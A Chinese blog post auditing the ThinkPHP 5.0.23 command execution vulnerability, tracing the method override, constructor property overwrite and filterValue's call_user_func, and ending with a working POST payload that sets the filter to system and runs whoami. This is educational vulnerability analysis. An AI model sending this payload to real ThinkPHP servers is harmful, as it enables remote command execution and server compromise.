PHP代码审计-thinkphp5.0.23命令执行漏洞

8次阅读
没有评论

共计 4657 个字符,预计需要花费 12 分钟才能阅读完成。

闲的没事锻炼一下代码审计的能力吧

环境搭建

composer create-project --prefer-dist topthink/think=5.0.23 tpdemo

将 composer.json 文件的 require 字段设置成如下:

"require": {
    "php": ">=5.4.0",
    "topthink/framework": "5.0.23"
},

然后执行 composer update

想要调试 thinkphp 的话需要安装 xdebug,网上有教程不再赘述

漏洞点主要有两个

#Request.php
public function method($method = false)  
{if (true === $method) {  
        // 获取原始请求类型  
        return $this->server('REQUEST_METHOD') ?: 'GET';  
    } elseif (!$this->method) {if (isset($_POST[Config::get('var_method')])) {$this->method = strtoupper($_POST[Config::get('var_method')]); 
            #var_method 这里是可控的,我们可以修改调用 Request 类的部分方法 
            $this->{$this->method}($_POST);  
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);  
        } else {$this->method = $this->server('REQUEST_METHOD') ?: 'GET';  
        }  
    }  
    return $this->method;  
}
#Request.php
protected function __construct($options = [])  
{foreach ($options as $name => $item) {if (property_exists($this, $name)) {$this->$name = $item;} 
        #这里会遍历属性值,导致类属性覆盖 
    }  
    if (is_null($this->filter)) {$this->filter = Config::get('default_filter');  
    }  

    // 保存 php://input    $this->input = file_get_contents('php://input');  
}

Request 类存在以下属性

protected $get                  protected static $instance;
protected $post                 protected $method;
protected $request              protected $domain;
protected $route                protected $url;
protected $put;                 protected $baseUrl;
protected $session              protected $baseFile;
protected $file                 protected $root;
protected $cookie               protected $pathinfo;
protected $server               protected $path;
protected $header               protected $routeInfo 
protected $mimeType             protected $env;
protected $content;             protected $dispatch 
protected $filter;              protected $module;
protected static $hook          protected $controller;
protected $bind                 protected $action;
protected $input;               protected $langset;
protected $cache;               protected $param   
protected $isCheckCache;    

那么我们该修改哪个值达到命令执行呢?
而 Request 类里面有一个 param 函数

public function param($name = '', $default = null, $filter ='')  
{if (empty($this->mergeParam)) {$method = $this->method(true);  
        // 自动获取请求变量  
        switch ($method) {  
            case 'POST':  
                $vars = $this->post(false);  
                break;  
            case 'PUT':  
            case 'DELETE':  
            case 'PATCH':  
                $vars = $this->put(false);  
                break;  
            default:  
                $vars = [];}  
        // 当前请求参数和 URL 地址中的参数合并  
        $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));  
        $this->mergeParam = true;  
    }  
    if (true === $name) {  
        // 获取包含文件上传信息的数组  
        $file = $this->file();  
        $data = is_array($file) ? array_merge($this->param, $file) : $this->param;  
        return $this->input($data, '', $default, $filter);  
    }  
    return $this->input($this->param, $name, $default, $filter);  
}

继续观察上面那个 param 函数,其中调用了 input 方法。再来看看 input 方法

public function input($data = [], $name = '', $default = null, $filter ='')  
{if (false === $name) {  
        // 获取原始数据  
        return $data;  
    }  
    $name = (string) $name;  
    if ('' != $name) {  
        // 解析 name  
        if (strpos($name, '/')) {list($name, $type) = explode('/', $name);  
        } else {$type = 's';}  
        // 按. 拆分成多维数组进行判断  
        foreach (explode('.', $name) as $val) {if (isset($data[$val])) {$data = $data[$val];  
            } else {  
                // 无输入数据,返回默认值  
                return $default;  
            }  
        }  
        if (is_object($data)) {return $data;}  
    }  

    // 解析过滤器  
    $filter = $this->getFilter($filter, $default);  

    if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);  
        reset($data);  
    } else {$this->filterValue($data, $name, $filter);  
    }  

    if (isset($type) && $data !== $default) {  
        // 强制类型转换  
        $this->typeCast($data, $type);  
    }  
    return $data;  
}

有没有看到好玩的?
array_walk_recursive($data, [$this, 'filterValue'], $filter);

这个函数见的比较少,这里简单讲一下

array_walk_recursive(array &$array, callable $callback, mixed $userdata = null): bool
  • &$array: 目标数组(引用传递,这意味着你可以直接在回调里修改原数组)。

  • $callback: 处理函数。它通常接收两个参数:第一个是 (Value),第二个是 (Key)。

  • $userdata: 可选参数,如果你想给回调函数额外传个“小抄”,就用它。

比如这段代码

$data = [
    'name' => 'Gemini',
    'info' => [
        'status' => 'online',
        'tags' => ['AI', 'Tech']
    ]
];

// 使用匿名函数遍历
array_walk_recursive($data, function($value, $key) {echo "键: $key, 值: $valuen";});
#键: name, 值: Gemini 键: status, 值: online 键: 0, 值: AI 键: 1, 值: Tech

再比如

<?php  
$prefix = "PROD_";  
$data = ['id' => 101, 'meta' => ['code' => 'A2']];  

array_walk_recursive($data, function(&$value, $key, $p) {if (is_string($value)) {$value = $p . $value;}  
    echo "Key: $key, Value: $valuen";  
}, $prefix); // 这里的 $prefix 传给了 $p
#Key: id, Value: 101 Key: code, Value: PROD_A2

继续回到 thinkphp 里面,array_walk_recursive($data, [$this, 'filterValue'], $filter);调用了
filterValue方法,那么我们跟进看看。

#Request.php
private function filterValue(&$value, $key, $filters)  
{$default = array_pop($filters);  
    foreach ($filters as $filter) {if (is_callable($filter)) {  
            // 调用函数或者方法过滤  
            $value = call_user_func($filter, $value);  
        } elseif (is_scalar($value)) {if (false !== strpos($filter, '/')) {  
                // 正则过滤  
                if (!preg_match($filter, $value)) {  
                    // 匹配不成功返回默认值  
                    $value = $default;  
                    break;  
                }  
            } elseif (!empty($filter)) {  
                // filter 函数不存在时, 则使用 filter_var 进行过滤  
                // filter 为非整形值时, 调用 filter_id 取得过滤 id  
                $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));  
                if (false === $value) {  
                    $value = $default;  
                    break;  
                }  
            }  
        }  
    }  
    return $this->filterExp($value);  
}

看到好东西没有?
call_user_func,可以执行自定义函数。到了命令执行这里就简单了。
那现在我们来调试看看吧
payload:

http://127.0.0.1/?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

先打断点到第一个漏洞点
PHP 代码审计 -thinkphp5.0.23 命令执行漏洞
method 被覆盖成 __CONSTRUCT 为后面调用 construct 做覆盖变量准备

调用了__CONSTRUCT,变量被覆盖或者赋值
PHP 代码审计 -thinkphp5.0.23 命令执行漏洞
PHP 代码审计 -thinkphp5.0.23 命令执行漏洞

正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2026-04-18发表,共计4657字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)
验证码